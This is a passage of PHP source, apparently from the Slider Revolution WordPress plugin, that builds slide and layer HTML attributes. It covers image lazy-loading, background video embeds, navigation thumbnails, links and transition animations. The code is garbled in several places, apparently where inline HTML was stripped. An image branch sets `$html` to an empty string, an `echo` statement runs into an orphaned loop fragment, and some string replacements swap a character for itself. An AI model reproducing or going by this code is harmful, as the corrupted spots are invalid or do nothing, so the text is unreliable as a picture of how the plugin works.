qtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage($text); }elseif(function_exists('ppqtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage')){ //use qTranslate plus $text = ppqtrans_useCurrentLanguageIfNotFoundUseDefaultLanguage($text); }elseif(function_exists('qtranxf_useCurrentLanguageIfNotFoundUseDefaultLanguage')){ //use qTranslate X $text = qtranxf_useCurrentLanguageIfNotFoundUseDefaultLanguage($text); } switch($type){ case 'shape': case 'svg': case 'column': break; default: case 'text': case 'button': // this filter is needed for the weather AddOn $html = apply_filters('revslider_modify_layer_text', $text, $layer); global $fa_icon_var, $fa_var, $pe_7s_var; foreach($this->icon_sets as $is){ if(strpos($html, $is) !== false){ //include default Icon Sets if used $font_var = str_replace('-', '_', $is).'var'; $$font_var = true; $cache = RevSliderGlobals::instance()->get('RevSliderCache'); $cache->add_addition('special', 'font_var', $font_var); } } break; case 'image': $additional = ''; $cover_mode = $this->get_val($layer, array('size', 'covermode'), 'custom'); $urlImage = $this->get_val($layer, array('media', 'imageUrl')); $cur_img_id = $this->get_val($layer, array('media', 'imageId')); $img_change = $this->get_val($layer, array('behavior', 'imageSourceType'), 'auto'); $img_size = 'full'; $img_w = ''; $img_h = ''; $alt = ''; $alt_option = $this->get_val($layer, array('attributes', 'altOption'), 'media_library'); $do_ll = $this->get_val($layer, array('behavior', 'lazyLoad'), 'auto'); $lazyLoad = $this->slider->get_param(array('general', 'lazyLoad'), false); $img_size = ($img_change !== 'auto') ? $img_change : $this->slider->get_param(array('def', 'background', 'imageSourceType'), 'full'); $class = 'tp-rs-img'; if(empty($cur_img_id) || intval($cur_img_id) == 0){ $cur_img_id = $this->get_image_id_by_url($urlImage); if(!empty($cur_img_id) && intval($cur_img_id) !== 0){ /** * we could save the value into the layer * but this part should never be called as the img id never is empty **/ } } if($img_size !== 'full' && $cur_img_id !== false && !empty($cur_img_id)){ $_urlImage = wp_get_attachment_image_src($cur_img_id, $img_size); $urlImage = ($_urlImage !== false) ? $_urlImage[0] : $urlImage; } if($cur_img_id !== false && !empty($cur_img_id)){ $img_data = wp_get_attachment_metadata( $cur_img_id ); if($img_data !== false && !empty($img_data)){ if($img_size !== 'full'){ if(isset($img_data['sizes']) && isset($img_data['sizes'][$img_size])){ $img_w = $this->get_val($img_data, array('sizes', $img_size, 'width')); $img_h = $this->get_val($img_data, array('sizes', $img_size, 'height')); } } if($img_w == '' || $img_h == ''){ $img_w = $this->get_val($img_data, 'width'); $img_h = $this->get_val($img_data, 'height'); } $additional.= ' width="'.$img_w.'" height="'.$img_h.'"'; } }else{ //we might be from image library $objlib = new RevSliderObjectLibrary(); //redownload if possible $objlib->_check_object_exist($urlImage); } switch($alt_option){ case 'media_library': if($cur_img_id !== false){ $alt = get_post_meta($cur_img_id, '_wp_attachment_image_alt', true); } break; case 'file_name': $info = pathinfo($urlImage); $alt = $info['filename']; break; case 'custom': $alt = $this->get_val($layer, array('attributes', 'alt')); break; } if(isset($this->slide->ignore_alt)) $alt = ''; if($lazyLoad === false){ //do fallback checks to removed lazy_load value since version 5.0 and replaced with an enhanced version $old_ll = $this->slider->get_param('lazy_load', 'off'); $lazyLoad = ($old_ll == 'on') ? 'all' : 'none'; } if($lazyLoad != 'none' || $do_ll == 'force' && $do_ll !== 'ignore'){ $seo_opti = $this->get_val($layer, 'seo-optimized', false); if($seo_opti === 'false' || $seo_opti === false){ $additional .= ' data-lazyload="'.$this->remove_http($urlImage).'"'; $class .= ' rs-lazyload'; $urlImage = RS_PLUGIN_URL.'public/assets/assets/dummy.png'; } } $additional .= ($cover_mode !== 'custom') ? ' data-c="'.$cover_mode.'"' : ''; if($urlImage !== ''){ //$urlImage = str_replace(array('https://', 'http://'), '//', $urlImage); $html = ''; } break; } //Replace Placeholders $html = $this->set_placeholders($html); if($this->adv_resp_sizes == true){ $ws = $this->normalize_device_settings($this->get_val($layer, array('idle', 'whiteSpace')), $this->enabled_sizes, 'html-array', array('nowrap')); }else{ $ws = $this->get_biggest_device_setting($this->get_val($layer, array('idle', 'whiteSpace'), 'nowrap'), $this->enabled_sizes); } //replace new lines with
            $html = (strpos($ws, 'content') !== false || strpos($ws, 'full') !== false) ? nl2br($html) : $html; //do shortcodes here, so that nl2br is not done within the shortcode content $html = (!in_array($type, array('image', 'svg', 'column', 'shape'), true)) ? do_shortcode(stripslashes($html)) : $html; return $html; } /** * General Placeholders for all slider types * @since: 5.3.0 */ public function set_placeholders($text){ global $post; $text = str_replace(array('%home_url%', '{{home_url}}'), esc_url(home_url( '/' )), $text); if(isset($post->ID)) $text = str_replace(array('%current_page_link%', '{{current_page_link}}'), get_permalink($post->ID), $text); if(isset($post->ID)) $text = apply_filters('revslider_gallery_set_placeholders', $text, $post->ID); return $text; } /** * return the layer visibility dependency of devices **/ public function get_html_layer_device_visibility(){ $layer = $this->get_layer(); $vis_desktop = ($this->get_val($layer, array('visibility', 'd'), true) === true) ? 't' : 'f'; $vis_notebook = ($this->get_val($layer, array('visibility', 'n'), true) === true) ? 't' : 'f'; $vis_tablet = ($this->get_val($layer, array('visibility', 't'), true) === true) ? 't' : 'f'; $vis_mobile = ($this->get_val($layer, array('visibility', 'm'), true) === true) ? 't' : 'f'; $visible = ($vis_notebook == 'f' || $vis_desktop == 'f' || $vis_tablet == 'f' || $vis_mobile == 'f') ? 'data-vbility="'.$vis_desktop.','.$vis_notebook.','.$vis_tablet.','.$vis_mobile.'"' : ''; return $visible; } /** * check if in the layer actions an action has an trigger **/ public function check_if_trigger_exists(){ $layers = $this->get_layers(); $uid = $this->get_layer_unique_id(); $has_trigger = false; foreach($layers as $layer){ if($has_trigger) break; $actions = $this->get_val($layer, array('actions', 'action')); if(!empty($actions)){ foreach($actions as $action){ switch($this->get_val($action, 'action')){ case 'start_in': case 'start_out': case 'toggle_layer': case 'toggle_frames': case 'next_frame': case 'prev_frame': case 'start_frame': if($uid == $this->get_val($action, 'layer_target')){ $has_trigger = true; break; } break; } } } } return $has_trigger; } /** * check if the current layer is a full width video **/ public function is_full_width_video(){ $layer = $this->get_layer(); return $this->get_val($layer, 'type', 'text') == 'video' && $this->get_val($layer, array('size', 'covermode')) == 'cover-proportional'; } /** * Check if the layer is on a group or a row * @since: 5.3.0 **/ public function is_in_group_or_row(){ $layer = $this->get_layer(); $puid = $this->get_val($layer, array('group', 'puid')); return intval($puid) > 0; } /** * check if a stream video exists * @since: 5.0 * @before: RevSliderOutput::checkIfStreamVideoExists() */ public function check_if_stream_video_exists(){ $slide = $this->get_slide(); $vid = ''; switch($slide->get_param(array('bg', 'type'), 'trans')){ case 'streamyoutubeboth'://youtube $vid = $slide->get_param(array('bg', 'youtube'), ''); break; case 'streamvimeoboth'://vimeo $vid = $slide->get_param(array('bg', 'vimeo'), ''); break; case 'streaminstagramboth'://instagram $vid = $slide->get_param(array('bg', 'mpeg'), ''); break; case 'streamtwitterboth'://instagram $vid = $slide->get_param(array('bg', 'mpeg'), ''); if($vid !== '') return true; $vid = $slide->get_param(array('bg', 'youtube'), ''); if($vid !== '') return true; $vid = $slide->get_param(array('bg', 'vimeo'), ''); if($vid !== '') return true; break; } return ($vid == '') ? false : true; } /** * add background video layer * @since: 5.0 * @before putBackgroundVideo() */ public function add_html_background_video(){ $slide = $this->get_slide(); $data = array('video' => array()); $mute_video = $slide->get_param(array('bg', 'video', 'mute'), true); $volume = $slide->get_param(array('bg', 'video', 'volume'), '100'); $video_type = $slide->get_param(array('bg', 'type'), 'trans'); $http = (is_ssl()) ? 'https://' : 'http://'; switch($video_type){ case 'streamtwitter': case 'streamtwitterboth': case 'twitter': $youtube_id = $slide->get_param(array('bg', 'youtube'), ''); $vimeo_id = $slide->get_param(array('bg', 'vimeo'), ''); $html_mpeg = $this->remove_http($slide->get_param(array('bg', 'mpeg'), '')); if($youtube_id === '' && $vimeo_id === '' && $html_mpeg === '') return false; if($youtube_id !== ''){ $this->youtube_exists = true; $arguments = $slide->get_param(array('bg', 'video', 'args'), RevSliderFront::YOUTUBE_ARGUMENTS); $arguments = (empty($arguments)) ? RevSliderFront::YOUTUBE_ARGUMENTS : $arguments; if($mute_video === false){ $data['video']['v'] = intval($volume); $arguments = 'volume='.intval($volume).'&'.$arguments; } $arguments .= '&origin='.$http.$_SERVER['SERVER_NAME'].';'; $data['vatr'] = 'version=3&enablejsapi=1&html5=1&'.$arguments; $data['ytid'] = $youtube_id; $sp = $slide->get_param(array('bg', 'video', 'speed'), 1); if(!in_array($sp, array(1, '1'), true)) $data['video']['sp'] = $sp; $data['video']['vc'] = 'none'; }elseif($vimeo_id !== ''){ $arguments = $slide->get_param(array('bg', 'video', 'argsVimeo'), RevSliderFront::VIMEO_ARGUMENTS); $arguments = (empty($arguments)) ? RevSliderFront::VIMEO_ARGUMENTS : $arguments; $data['vatr'] = $arguments; if($mute_video === false){ $data['video']['v'] = intval($volume); } if(strpos($vimeo_id, 'http') !== false){ //check if full URL //we have full URL, split it to ID $video_id = explode('vimeo.com/', $vimeo_id); $vimeo_id = $video_id[1]; } $data['vimeoid'] = $vimeo_id; $data['video']['vc'] = 'none'; }elseif($html_mpeg !== ''){ //$data['video']['p'] = 'auto'; //auto is default, so dont write it $data['mp4'] = $html_mpeg; } break; case 'streamyoutube': case 'streamyoutubeboth': case 'youtube': $youtube_id = $slide->get_param(array('bg', 'youtube'), ''); if($youtube_id == '') return false; $this->youtube_exists = true; if(strpos($youtube_id, 'http') !== false){ //check if full URL parse_str(parse_url($youtube_id, PHP_URL_QUERY), $my_v_ret); //we have full URL, split it to ID $youtube_id = $my_v_ret['v']; } $arguments = $slide->get_param(array('bg', 'video', 'args'), RevSliderFront::YOUTUBE_ARGUMENTS); $arguments = (empty($arguments)) ? RevSliderFront::YOUTUBE_ARGUMENTS : $arguments; if($mute_video === false){ $data['video']['v'] = $volume; $arguments = 'volume='.intval($volume).'&'.$arguments; } $arguments.='&origin='.$http.$_SERVER['SERVER_NAME'].';'; $data['ytid'] = $youtube_id; $data['vatr'] = 'version=3&enablejsapi=1&html5=1&'.$arguments; $sp = $slide->get_param(array('bg', 'video', 'speed'), 1); if(!in_array($sp, array(1, '1'), true)) $data['video']['sp'] = $sp; $data['video']['vc'] = 'none'; break; case 'streamvimeo': case 'streamvimeoboth': case 'vimeo': $vimeo_id = $slide->get_param(array('bg', 'vimeo'), ''); if($vimeo_id == '') return false; $arguments = $slide->get_param(array('bg', 'video', 'argsVimeo'), ''); $arguments = str_replace(array('&background=1', '&background=0', 'background=1', 'background=0'), '', $arguments); $arguments = (empty($arguments)) ? RevSliderFront::VIMEO_ARGUMENTS : $arguments; $arguments = (!empty($arguments)) ? 'background=1&'.$arguments : 'background=1'; if($mute_video == false) $data['video']['v'] = intval($volume); if(strpos($vimeo_id, 'http') !== false){ //check if full URL $video_id = explode('vimeo.com/', $vimeo_id); //we have full URL, split it to ID $vimeo_id = $video_id[1]; } $data['vimeoid'] = $vimeo_id; $data['vatr'] = $arguments; $data['video']['vc'] = 'none'; $sp = $slide->get_param(array('bg', 'video', 'speed'), 1); if(!in_array($sp, array(1, '1'), true)) $data['video']['sp'] = $sp; break; case 'streaminstagram': case 'streaminstagramboth': case 'html5': $html_mpeg = $this->remove_http($slide->get_param(array('bg', 'mpeg'), '')); if($video_type == 'streaminstagram' || $video_type == 'streaminstagramboth'){ $html_webm = ''; $html_ogv = ''; }else{ $html_webm = $slide->get_param(array('bg', 'webm'), ''); $html_ogv = $slide->get_param(array('bg', 'ogv'), ''); } //$data['video']['p'] = 'auto'; //default is auto, so do not write if(!empty($html_ogv)) $data['videoogv'] = $html_ogv; if(!empty($html_webm)) $data['videowebm'] = $html_webm; if(!empty($html_mpeg)) $data['mp4'] = $html_mpeg; if($mute_video === false) $data['video']['v'] = intval($volume); break; } if(isset($data['vatr'])){ $data['vatr'] = str_replace('&', '&', $data['vatr']); $data['vatr'] = str_replace('&', '&', $data['vatr']); $data['vatr'] = str_replace(';&', '&', $data['vatr']); $data['vatr'] = str_replace(';;', ';', $data['vatr']); } $data['video']['w'] = '100%'; $data['video']['h'] = '100%'; $ratio = $slide->get_param(array('bg', 'video', 'ratio'), '16:9'); $loop = $slide->get_param(array('bg', 'video', 'loop'), true); $vpt = $slide->get_param(array('bg', 'video', 'pausetimer'), false); if($loop === 'loop') $vpt = true; $nsae = $slide->get_param(array('bg', 'video', 'nextSlideAtEnd'), false); $sat = $slide->get_param(array('bg', 'video', 'startAfterTransition'), false); $vsa = $slide->get_param(array('bg', 'video', 'startAt'), ''); $vea = $slide->get_param(array('bg', 'video', 'endAt'), ''); if(!in_array($vsa, array('', '-1', -1), true)) $data['video']['sta'] = $vsa; if(!in_array($vea, array('', '-1', -1), true)) $data['video']['end'] = $vea; if(!in_array($ratio, array('', '16:9'), true)) $data['video']['ar'] = $ratio; if($nsae === false) $data['video']['nse'] = 'false'; if($sat === true) $data['video']['sat'] = 'true'; if($slide->get_param(array('bg', 'video', 'forceRewind'), true) === false) $data['video']['rwd'] = false; $data['video']['l'] = $loop; $data['video']['ptimer'] = $vpt; //$data['video']['autoplay'] = 'true'; //default, so dont write //$data['video']['apf'] = false; //default, so dont write $crso = $slide->get_param(array('bg', 'crossOriginVideo'), false); if($video_type === 'html5') { $data['video']['vfc'] = $slide->get_param(array('bg', 'video', 'fitCover'), true); //video fit cover if($crso === true) $data['video']['crossOriginVideo'] = $crso; } $do = $slide->get_param(array('bg', 'video', 'dottedOverlay'), 'none'); if($do !== 'none'){ $data['video']['do'] = $do; $doca = $slide->get_param(array('bg', 'video', 'dottedColorA'), 'transparent'); $docb = $slide->get_param(array('bg', 'video', 'dottedColorB'), '#000000'); $dos = $slide->get_param(array('bg', 'video', 'dottedOverlaySize'), 1); if($doca !== 'transparent') $data['video']['doca'] = $doca; if(!in_array($docb, array('', '#000000', '#000'), true)) $data['video']['docb'] = $docb; if(!in_array($dos, array('', '1', 1), true)) $data['video']['dos'] = $dos; } //echo $this->ld().RS_T7."\n"; echo $this->ld().RS_T7.' $d){ if(empty($d)) continue; echo $this->ld().RS_T8.'data-'.$k.'="'; if(is_array($d)){ foreach($d as $kk => $dd){ echo $kk.':'; echo $this->write_js_var($dd, ''); echo ';'; } }else{ echo $this->write_js_var($d, ''); } echo '"'."\n"; } } echo $this->ld().RS_T7.'>'."\n"; } /** * get slide style **/ public function get_html_slide_style(){ $style = array('position' => 'absolute'); $style = apply_filters('revslider_get_html_slide_style', $style, $this); $style_html = ' style="'; if(!empty($style)){ foreach($style as $_style => $_value){ $style_html .= $_style.': '.$_value.';'; } } $style_html .= '"'; return ($style_html !== ' style=""') ? $style_html : ''; } /** * get slide key **/ public function get_html_slide_key(){ $slide = $this->get_slide(); return ' data-key="rs-'.preg_replace("/[^\w]+/", "", $slide->get_id()).'"'; } /** * get slide title **/ public function get_html_slide_title($raw = false){ $slide = $this->get_slide(); if($this->slider->is_posts()){ //check if we are post based or normal slider $title = @get_the_title($slide->get_id()); }else{ $title = $slide->get_param('title', 'Slide'); } $pre = ($raw === false) ? ' data-title="' : ''; $post = ($raw === false) ? '"' : ''; return ($title !== '') ? $pre.stripslashes(esc_attr($title)).$post : ''; } /** * get slide description **/ public function get_html_slide_description(){ $slide = $this->get_slide(); if($this->slider->is_posts()){ //check if we are post based or normal slider $the_post = get_post($slide->get_id()); $description = strip_tags(strip_shortcodes($the_post->post_excerpt)); }else{ $description = $slide->get_param(array('info', 'description'), ''); } $description = trim(str_replace(array("\'", '\"'), array("'", '"'), esc_attr($description))); return ($description !== '') ? ' data-description="'.$description.'"' : ''; } /** * get the thumb url for the slide (navigation may need it) **/ public function get_thumb_url(){ $active = ($this->slider->get_param(array('nav', 'bullets', 'set'), false) == true || $this->slider->get_param(array('nav', 'thumbs', 'set'), false) == true || $this->slider->get_param(array('nav', 'arrows', 'set'), false) == true || $this->slider->get_param(array('nav', 'tabs', 'set'), false) == true) ? true : false; $special = ( in_array($this->slider->get_param(array('nav', 'arrows', 'style'), 'round'), array('preview1', 'preview2', 'preview3', 'preview4', 'custom'), true) || in_array($this->slider->get_param(array('nav', 'bullets', 'style'), 'round'), array('preview1', 'preview2', 'preview3', 'preview4', 'custom'), true) ) ? true : false; if($active === false && $special == false) return ''; $slide = $this->get_slide(); $url = ($this->slider->is_posts() && $slide->get_param(array('bg', 'imageFromStream'), false) === true) ? '' : $slide->get_param(array('thumb', 'customThumbSrc'), ''); if( $slide->get_param(array('thumb', 'dimension'), 'slider') == 'slider' && (in_array($this->slider->get_param('sourcetype'), array('youtube', 'vimeo'), true) || in_array($slide->get_param(array('bg', 'type'), 'trans'), array('image', 'vimeo', 'youtube', 'html5', 'streamvimeo', 'streamyoutube', 'streaminstagram', 'streamtwitter', 'streamvimeoboth', 'streamyoutubeboth', 'streaminstagramboth', 'streamtwitterboth'), true)) ){ //use the slider settings for width / height $w = intval($this->slider->get_param(array('nav', 'preview', 'width'), $this->slider->get_param(array('nav', 'thumbs', 'width'), 100))); $h = intval($this->slider->get_param(array('nav', 'preview', 'height'), $this->slider->get_param(array('nav', 'thumbs', 'height'), 50))); if($w == 0) $w = 100; if($h == 0) $h = 50; if(empty($url)){ //try to get resized thumb $url = rev_aq_resize($slide->image_url, $w, $h, true, true, true); }else{ $url = rev_aq_resize($url, $w, $h, true, true, true); if(empty($url)){ $url = $slide->image_url; $url = rev_aq_resize($url, $w, $h, true, true, true); } } } $url = (empty($url)) ? $slide->image_url : $url; //if empty - put regular image $url = trim($this->remove_http($url)); $url = ($this->check_valid_image($url)) ? $url : ''; return ($url !== '') ? ' data-thumb="'.$url.'"' : $url; } /** * get slide link if set in slide settings **/ public function get_slide_link(){ $link = ''; $slide = $this->get_slide(); $params = $slide->get_params(); if($slide->get_param(array('seo', 'set'), false) == true){ switch($slide->get_param(array('seo', 'type'), 'regular')){ default: //---- normal link case 'regular': $target = ' data-tag="'.$slide->get_param(array('seo', 'tag'), 'l').'" data-target="'.$slide->get_param(array('seo', 'target'), '_self').'"'; $http = $slide->get_param(array('seo', 'linkHelp'), 'auto'); $l = $this->remove_http($slide->get_param(array('seo', 'link'), ''), $http); $link = ($l !== '') ? ' data-link="'.do_shortcode($l).'"'.$target : $link; break; case 'slide': //---- link to slide $slide_link = $this->get_val($params, array('seo', 'slideLink'), 'nothing'); if(!empty($slide_link) && $slide_link != 'nothing'){ //get slide index from id $slide_link = (is_numeric($slide_link)) ? $this->get_val($this->get_slides_num_index(), $slide_link) : $slide_link; $link = (!empty($slide_link)) ? ' data-linktoslide="'.$slide_link.'"' : $link; } break; } //set link position: $link .= ' data-seoz="'.$this->get_val($params, array('seo', 'z'), 'front').'"'; } return $link; } /** * get slide delay as html **/ public function get_html_delay(){ $slide = $this->get_slide(); $delay = $slide->get_param(array('timeline', 'delay'), 'default'); $delay = strtolower($delay); return (!in_array($delay, array('default', ''), true)) ? ' data-duration="'. $delay .'"' : ''; } /** * get the html slide scroll based data **/ public function get_html_scrollbased_slidedata(){ $slide = $this->get_slide(); $html = 'data-sba="'; $sd = $this->slider->get_param(array('scrolltimeline', 'set'), false); $es = $this->slider->get_param(array('scrolleffects', 'set'), false); //$s = $slide->get_param(array('timeline', 'scrollBased'), 'default'); //if ($s !== 'default' && $sd != false) $html .='t:'.($s=='true' ? 'true' : 'false').';'; if($es === true){ $fa = $slide->get_param(array('effects', 'fade'), 'default'); $bl = $slide->get_param(array('effects', 'blur'), 'default'); $gr = $slide->get_param(array('effects', 'grayscale'), 'default'); if($fa !== 'default'){ $html .= 'f:'; $html .= ($fa === 'true') ? 'true' : 'false'; $html .= ';'; } if($bl !== 'default'){ $html .= 'b:'; $html .= ($bl === 'true') ? 'true' : 'false'; $html .= ';'; } if($gr !== 'default'){ $html .= 'g:'; $html .= ($gr === 'true') ? 'true' : 'false'; $html .= ';'; } } $html .='"'; return ($html !== 'data-sba=""') ? $html : ''; } /** * get stop slide on purpose as html **/ public function get_html_stop_slide(){ $slide = $this->get_slide(); return ($this->_truefalse($slide->get_param(array('timeline', 'stopOnPurpose'), false)) === true) ? ' data-ssop="true"' : ''; } /** * get slide invisible as html **/ public function get_html_invisible(){ $slide = $this->get_slide(); return ($this->_truefalse($slide->get_param(array('visibility', 'hideFromNavigation'), false)) === true) ? ' data-invisible="true"' : ''; } /** * get slide animation IN/OUT attribute **/ public function get_html_slide_anim_attribute($data, $inout, $attribute, $default, $short, $force){ if(!empty($data)){ $result = ($inout !== false) ? $this->get_val($data, array($inout, $attribute), $default) : $this->get_val($data, array($attribute), $default); }else{ $slide = $this->get_slide(); $result = ($inout !== false) ? $slide->get_param(array('slideChange', $inout, $attribute), $default) : $slide->get_param(array('slideChange', $attribute), $default); } $_result = ($result === false) ? 'false' : $result; $_result = ($_result === true) ? 'true' : $_result; $_result = $this->shorten($_result, 'default', 'd'); $_result = $this->transform_frame_vals($_result); if($force === true){ if($attribute === 'e' || $short === 'e') $this->easings[$result] = $result; return ($result !== '') ? $short.':'. $result.';' : ''; }else{ if($attribute === 'e' || $short === 'e') $this->easings[$_result] = $_result; return ($result !== '' && $result !== $default) ? $short.':'. $_result.';' : ''; } } /** * get slide animation attribute **/ public function get_slide_some_attribute($attr){ $slide = $this->get_slide(); $result = $slide->get_param(array('timeline', $attr), 1); if(is_array($result) || is_object($result)) $result = implode(',', (array)$result); $result = $this->shorten($result, 'default', 'd'); return ($result !== '' && $result != 1) ? $result : ''; } /** * get slide rotation as html **/ public function get_html_anim(){ $slide = $this->get_slide(); $transition = $this->get_html_first_transition(); $transition = (empty($transition) && $slide->get_param(array('slideChange'), false) === false) ? 'fade' : $transition; $base_transitions = $this->get_base_transitions(); $data = array(); $preset = $slide->get_param(array('slideChange', 'preset'), false); $rnd_transition = ''; if(is_string($transition) && in_array($transition, array('random', 'random-static', 'random-premium'), true)){ $duration = $this->get_html_slide_anim_duration(); //get duration and set it to 1000 if smaller than 500 if(intval($duration) < 300) $duration = 750; $preset = 'rndany'; $transition = ''; } if($preset !== false && strpos($preset, 'rnd') === 0){ $rnd_main = $this->get_val($base_transitions, array('random', $preset, 'rndmain'), ''); $rnd_grp = $this->get_val($base_transitions, array('random', $preset, 'rndgrp'), ''); $rnd_transition = $this->get_random_slide_transition($rnd_main, $rnd_grp, $base_transitions); //get values for the random transition and store it in $data if(!empty($rnd_transition)){ $data = $this->get_slide_transition_values($rnd_transition, $base_transitions); $this->frontend_action = true; } } $anim = ' data-anim="'; $slots = false; if(!empty($transition)){ /* FALLBACK TO OLD OUTPUT */ foreach($base_transitions as $_type => $_transition){ if(empty($_transition) || !is_array($_transition)) continue; foreach($_transition as $_values){ if(empty($_values) || !is_array($_values)) continue; foreach($_values as $_name => $_v){ if($_name !== $transition) continue; $data = $_v; if($_type === 'basic') $slots = '1'; //set slots to 1 as a fallback break; } } } if(!is_array($data)) $data = array(); $duration = (!isset($duration)) ? $this->get_html_slide_anim_duration() : $duration; if(in_array($transition, array('3dcurtain-vertical', '3dcurtain-horizontal'), true)){ $duration = (empty($duration) || $duration == '') ? 500 : intval(intval($duration) / 3); }elseif($duration == '' && strpos($transition, 'slidingoverlay') !== false){ $duration = 2000; } $anim .= ($duration === '') ? '' : 'ms:'.$duration.';'; $anim .= $this->get_html_slide_anim_rotation(); $anim .= $this->get_html_slide_anim_attribute($data, false, 'adpr', true, 'adpr', false); $anim .= $this->get_html_slide_anim_attribute($data, false, 'd', 15, 'd', false); $anim .= $this->get_html_slide_anim_attribute($data, false, 'e', 'basic', 'e', false); $anim .= $this->get_html_slide_anim_attribute($data, false, 'p', 'none', 'p', false); $anim .= $this->get_html_slide_anim_attribute($data, false, 'f', 'start', 'f', false); $anim .= $this->get_html_slide_anim_attribute($data, false, 'o', 'inout', 'o', false); //move slots if exists to the $data $slots = ($slots === false) ? $this->get_slide_some_attribute('slots') : $slots; if(!empty($slots) && !in_array($slots, array('default', 'd'), true)){ // if(!isset($data['in'])) $data['in'] = array(); if(!isset($data['in']['row'])) $data['in']['row'] = $slots; if(!isset($data['in']['col'])) $data['in']['col'] = $slots; } $easin = $this->get_slide_some_attribute('easeIn'); $easout = $this->get_slide_some_attribute('easeOut'); if(!empty($easin) && !in_array($easin, array('default', 'd'), true)){ // if(!isset($data['in'])) $data['in'] = array(); if(!isset($data['in']['e'])) $data['in']['e'] = $easin; $this->easings[$easin] = $easin; } if(!empty($easout) && !in_array($easout, array('default', 'd'), true)){ // if(!isset($data['out'])) $data['out'] = array(); if(!isset($data['out']['e'])) $data['out']['e'] = $easout; $this->easings[$easout] = $easout; } }else{ /*CANVAS*/ /* Animate Defaults */ $anim .= $this->get_html_slide_anim_attribute($data, false, 'eng', 'animateCore', 'eng', false); $anim .= $this->get_html_slide_anim_attribute($data, false, 'adpr', true, 'adpr', false); $anim .= $this->get_html_slide_anim_attribute($data, false, 'd', 15, 'd', false); $anim .= $this->get_html_slide_anim_attribute($data, false, 'e', 'basic', 'e', false); $anim .= $this->get_html_slide_anim_attribute($data, false, 'speed', 1000, 'ms', false); $anim .= $this->get_html_slide_anim_attribute($data, false, 'p', 'none', 'p', false); $anim .= $this->get_html_slide_anim_attribute($data, false, 'f', 'start', 'f', false); $anim .= $this->get_html_slide_anim_attribute($data, false, 'o', 'inout', 'o', false); } $anim .= '"'; /* Animates 3D */ $anim_ddd = ' data-d3="'; $dddf = $this->get_html_slide_anim_attribute($data, 'd3', 'f', 'none', 'f', false); if($dddf !== 'f:none'){ $anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 'f', 'none', 'f', false); $anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 'd', 'horizontal', 'd', false); $anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 'z', '300', 'z', false); if($dddf === 'fly'){ $anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 'fz', '0', 'fz', false); $anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 'fdi', '1.5', 'fdi', false); $anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 'fdo', '2', 'fdo', false); } if($dddf !== 'turn'){ $anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 't', '0', 't', false); } $anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 'c', '#ccc', 'c', false); $anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 'e', 'power2.inOut', 'e', false); $shad = $this->get_html_slide_anim_attribute($data, 'd3', 'su', 'false', 'su', false); if($shad === 'su:true;'){ $anim_ddd .= 'su:true;'; $anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 'sc', '#000', 'sc', false); $anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 'smi', '0', 'smi', false); $anim_ddd .= $this->get_html_slide_anim_attribute($data, 'd3', 'sma', '0.5', 'sma', false); } } $anim_ddd .= '"'; /* Animates In */ $anim_in = ' data-in="'; if(!empty($rnd_transition)) $anim_in .= 'prst:'.$preset.';'; $motion = (empty($data)) ? $slide->get_param(array('slideChange', 'in', 'mou'), false) : $this->get_val($data, array('in', 'mou'), false); if($motion === true) $anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'mo', '80', 'mo', true); if($motion === true) $anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'moo', 'none', 'moo', true); $anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'o', '1', 'o', false); $anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'x', '0', 'x', false); $anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'y', '0', 'y', false); $anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'r', '0', 'r', false); $anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'sx', '1', 'sx', false); $anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'sy', '1', 'sy', false); $anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'm', false, 'm', false); $anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'e', 'power2.inOut', 'e', false); $anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'row', '1', 'row', false); $anim_in .= $this->get_html_slide_anim_attribute($data, 'in', 'col', '1', 'col', false); $anim_in .= '"'; /* Basic Filters */ $anim_filters = ' data-filter="'; $slide_filters = (empty($data)) ? $slide->get_param(array('slideChange', 'filter', 'u'), false) : $this->get_val($data, array('filter', 'u'), false); if($slide_filters === true){ $anim_filters .= $this->get_html_slide_anim_attribute($data, 'filter', 'e', 'default', 'e', false); $anim_filters .= $this->get_html_slide_anim_attribute($data, 'filter', 'm', '0', 'm', false); $anim_filters .= $this->get_html_slide_anim_attribute($data, 'filter', 'b', '0', 'b', false); $anim_filters .= $this->get_html_slide_anim_attribute($data, 'filter', 'g', '0', 'g', false); $anim_filters .= $this->get_html_slide_anim_attribute($data, 'filter', 'h', '100', 'h', false); $anim_filters .= $this->get_html_slide_anim_attribute($data, 'filter', 's', '0', 's', false); $anim_filters .= $this->get_html_slide_anim_attribute($data, 'filter', 'c', '100', 'c', false); $anim_filters .= $this->get_html_slide_anim_attribute($data, 'filter', 'i', '0', 'i', false); } $anim_filters .= '"'; $slide_out = (empty($data)) ? $slide->get_param(array('slideChange', 'out', 'a'), true) : $this->get_val($data, array('out', 'a'), true); /* Animates Out */ $anim_out = ' data-out="'; if($slide_out === false){ $_anim_out = $this->get_html_slide_anim_attribute($data, 'out', 'o', '1', 'o', false); $_anim_out .= $this->get_html_slide_anim_attribute($data, 'out', 'x', '0', 'x', false); $_anim_out .= $this->get_html_slide_anim_attribute($data, 'out', 'y', '0', 'y', false); $_anim_out .= $this->get_html_slide_anim_attribute($data, 'out', 'r', '0', 'r', false); $_anim_out .= $this->get_html_slide_anim_attribute($data, 'out', 'sx', '1', 'sx', false); $_anim_out .= $this->get_html_slide_anim_attribute($data, 